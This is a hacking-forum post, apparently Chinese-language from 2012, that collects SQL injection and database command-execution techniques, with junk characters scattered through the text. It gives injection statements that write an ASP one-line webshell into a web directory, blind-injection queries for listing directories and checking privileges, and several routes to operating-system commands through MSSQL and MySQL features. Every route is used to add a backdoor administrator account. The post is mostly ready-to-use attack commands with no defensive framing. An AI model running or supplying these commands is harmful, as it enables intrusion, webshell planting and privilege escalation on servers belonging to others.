找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2892|回复: 0
打印 上一主题 下一主题

mssql实用命令及导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:49:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MSSQL语句导出一句话木马
9 d8 X- Y2 W* m$ x' r9 \! R首先确定网站的WEB路径
4 t- q/ I1 p" X) y1 |;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
8 c! X! v) Y4 ~" S6 P& v$ S3 q( f5 X$ b' K1 D& V- z1 S
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
0 W* _& e# v( S: i8 [//将一句话木马插入表中( S5 K  R+ `8 v+ K0 S! F
6 n+ N% M3 `4 t1 S1 F
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- + y7 Y: t0 u3 Q2 k
//导出一个ASP文件
; ]" Q* ?5 P; ~* t3 @' {$ c6 H3 C3 v- `( @- ]8 i# f

5 P0 c7 W# K7 I) q3 X; O. X) M4 ?/ `关于MSSQL列目录& c! D, _1 |# h4 L/ J$ {
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
4 ?  \4 j" W6 Q# q' PInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
# \' g  ~+ R- j) |/ T$ ^
8 \9 b0 f- l6 b6 b9 Zand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录  W1 R; ~" ?" g& O$ ]9 [5 O+ k

0 G. B1 W0 Y( V: C' j* @5 h0 [5 AAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
6 g8 _1 l' `, D, q2 E% }7 @3 ]  x' `0 t+ c) w( I' ^' ]5 ?
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
: r3 p! ^, Z6 W5 y; H/ p* s' Z1 c( o+ A1 a' K1 K' L9 z0 Y& @" z
7 \- E& [# D# D) L
数据库版本和权限查看
* n/ c- i4 W3 S4 }* n+ v, tand 1=(select @@VERSION) //查看详细的数据库信息.! s  m& b6 B5 ]3 T! [1 Q- C
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA! N' F( G+ ~! u9 Q( B7 l% w
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER# h5 w! O/ n" M7 u5 |5 x3 {# D

; P/ e4 [( K! z; x: ^& k$ S
3 I+ Z- e& F! K2 M% {  w8 }1 y2 {1.利用xp_cmdshell执行命令. t5 J, [  B; u) _
exec master..xp_cmdshell 'net user rfire 123456 /add': j. l$ x1 T4 P: G' j* d6 G7 C
exec master..xp_cmdshell 'net localgroup administrators rfire /add'
" H6 Q3 f' ~- p% n( j
' j8 h. J2 K# Y" @$ h恢复xp_cmdshell存储过程; e) x  t6 V) q- \$ T$ S
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'* o% T$ {  l8 ]+ ?. f

9 d4 s, Y- k' H1 s* f$ ~! Z: p7 G9 ^0 l$ P3 G
2.利用SP_OAcreate和SP_OAMETHOD执行命令
3 N4 [3 `1 Z# M在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
3 E0 ]! d3 N' f9 x% f, xDECLARE @shell INT //建立一个@shell实体
0 I3 Z3 E, f$ EEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
% O1 a, U9 v% wEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
& O% |, F3 [3 n% J* G% z3 h3 ~
1 H0 A, W; B+ m7 ^* f
7 e$ @, @2 A; ?3.利用沙盒模式' A$ Z; u& F% I% r! A5 h
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。. b! i1 E$ ?' l% s7 E
开启沙盒模式:
% W. v3 e% C; {$ e, @+ L+ H: jEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
% q; Z4 P2 c8 @3 d) C7 p
' m* Q% C3 }0 I5 R) P! B执行命令:
) n/ P0 y& r: q' l- \Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
# K' J% ]1 j) t# d* |6 b0 d1 @5 A5 Y! [& L$ ^' l$ [
1 E+ F: e" P5 J  ?( O9 t
4.利用SQL代理执行命令
5 I7 \" X5 L/ I! |& X8 D6 |EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务. w  Z9 j  ~; I+ q+ S9 K/ }

/ L) W& D: A9 N0 R执行命令:. r$ N6 v! o5 E* A
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错' B8 @  u% m) [7 P$ O
exec sp_add_job 'x'; j! Q# {9 d2 [& f, V% q
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业( c4 k; v$ A, o
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
" O7 N0 z  p3 [7 W5 [
& p, T! U6 _: O3 z8 z; E6 ~7 I. _4 k4 w* C' E" P7 h1 G
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
* v3 B  ?& M; `2 H2 O# ~6 l: r" KEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
; g# A4 o) t4 o+ \% E2 ?$ ^* O' P
( p# H  d8 ]! X* E! B- _% }- l/ N5 R/ E- [" Y" ]
6.MYSQL的命令执行) C; g3 y* t  m# h# L+ ^" z2 b
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
. |' C6 ~2 h, R6 V% ?2 F首先要在su.php下导出c:\windows\udf.dll+ k% l& i) y* a8 W( G
导出后执行创建自定义函数命令:
5 P  P$ V0 Y$ A- K1 D! xCreate Function cmdshell returns string soname 'udf.dll'
/ t9 ^, E' G  p3 I$ D执行命令! W! Q! ]% s) |* U5 h' }) _
select cmdshell('net user rfire 123456 /add')
0 @' B" H3 O! b) j执行后删除函数 drop function cmdshell
) ~3 S1 h" K1 h3 r0 h2 O: S+ j. v- b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表